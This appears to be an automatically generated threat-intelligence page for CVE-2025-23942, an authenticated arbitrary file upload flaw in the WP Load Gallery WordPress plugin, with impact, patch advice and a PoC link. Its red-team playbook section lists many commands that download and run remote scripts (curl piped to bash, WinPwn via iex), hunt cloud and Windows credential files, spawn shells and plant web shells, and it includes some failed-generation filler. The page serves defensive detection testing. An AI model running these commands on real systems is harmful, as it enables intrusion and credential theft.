CVE-2025-23942
Overview
This vulnerability is an unrestricted file upload flaw classified under CWE-434, affecting the wp-load-gallery component of the ngocuct0912 WP Load Gallery plugin. The root cause is the lack of proper validation or restriction on file types during the upload process, allowing attackers to upload malicious files such as web shells. The affected feature is the file upload functionality within versions up to and including 2.1.6.
Vulnerability Description
Unrestricted Upload of File with Dangerous Type vulnerability in ngocuct0912 WP Load Gallery wp-load-gallery allows Upload a Web Shell to a Web Server.This issue affects WP Load Gallery: from n/a through <= 2.1.6.
Impact
An attacker with a high-privileged account can upload and execute arbitrary web shell files on the server, leading to full system compromise. This enables remote code execution, unauthorized access to sensitive data, and potential lateral movement within the network. The exploit requires authenticated access with elevated privileges but no user interaction beyond the upload action. Successful exploitation can result in complete loss of confidentiality, integrity, and availability of the affected system.
Solution
Users of ngocuct0912 WP Load Gallery should upgrade to a version later than 2.1.6 where this vulnerability is resolved. Detailed patch instructions and updates are available at the Patchstack advisory: https://patchstack.com/database/Wordpress/Plugin/wp-load-gallery/vulnerability/wordpress-wp-load-gallery-plugin-2-1-6-arbitrary-file-upload-vulnerability?_s_id=cve. Applying the vendor-provided update eliminates the unrestricted file upload flaw by enforcing proper file type validation.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability associated with the WP Load Gallery plugin is characterized by an unrestricted file upload flaw, which allows attackers to upload files of dangerous types, including web shells, to the web server. This issue arises from insufficient validation of file types during the upload process. The plugin fails to enforce strict checks on the file extensions and MIME types, enabling malicious actors to bypass security measures and upload executable scripts disguised as harmless files. Once uploaded, these scripts can be executed on the server, leading to unauthorized access and control over the affected system.
Attackers can exploit this vulnerability through various vectors. The most straightforward method involves crafting a malicious file that mimics a legitimate image or document format while containing executable code. By uploading this file via the WP Load Gallery interface, an attacker can gain a foothold on the server. Once the web shell is executed, the attacker can perform a range of malicious activities, including data exfiltration, lateral movement within the network, and even deploying additional malware. This exploitation scenario is particularly concerning for organizations that rely on this plugin for media management, as it opens the door to extensive system compromise.
The real-world impact of this vulnerability can be severe, especially for businesses that utilize the WP Load Gallery plugin without adequate security measures. Successful exploitation can lead to data breaches, loss of sensitive information, and significant disruptions to business operations. The presence of a web shell allows attackers to maintain persistent access to the server, which can be leveraged for further attacks or to pivot to other systems within the network. The financial implications can be substantial, encompassing costs related to incident response, system recovery, and potential legal liabilities stemming from data breaches. Furthermore, the reputational damage incurred from such incidents can lead to a loss of customer trust and confidence.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security strategy. First and foremost, it is crucial to ensure that the WP Load Gallery plugin is updated to the latest version, as updates often include patches for known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious requests and block attempts to upload dangerous file types. Regular security audits and vulnerability assessments should also be conducted to identify and remediate potential weaknesses in the web application. Furthermore, organizations should enforce strict file upload policies, including validating file types and sizes, and implementing content security policies to restrict the execution of uploaded files.
In conclusion, the unrestricted file upload vulnerability in the WP Load Gallery plugin poses a significant threat to web applications, enabling attackers to upload and execute malicious files on the server. The potential for exploitation through various attack vectors highlights the need for robust security measures to protect against such vulnerabilities. Organizations must prioritize timely updates, employ effective detection mechanisms, and enforce strict file upload controls to mitigate the risks associated with this and similar vulnerabilities. By adopting a proactive approach to cybersecurity, businesses can safeguard their assets and maintain the integrity of their systems in an increasingly hostile digital landscape.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2025-23942-poc
WP Load Gallery <= 2.1.6 - Authenticated (Author+) Arbitrary File Upload
|
Nxploited | 3 | 0 | 2025-02-25 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-23942 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/wp-load-gallery/vulnerability/wordpress-wp-load-gallery-plugin-2-1-6-arbitrary-file-upload-vulnerability?_s_id=cve |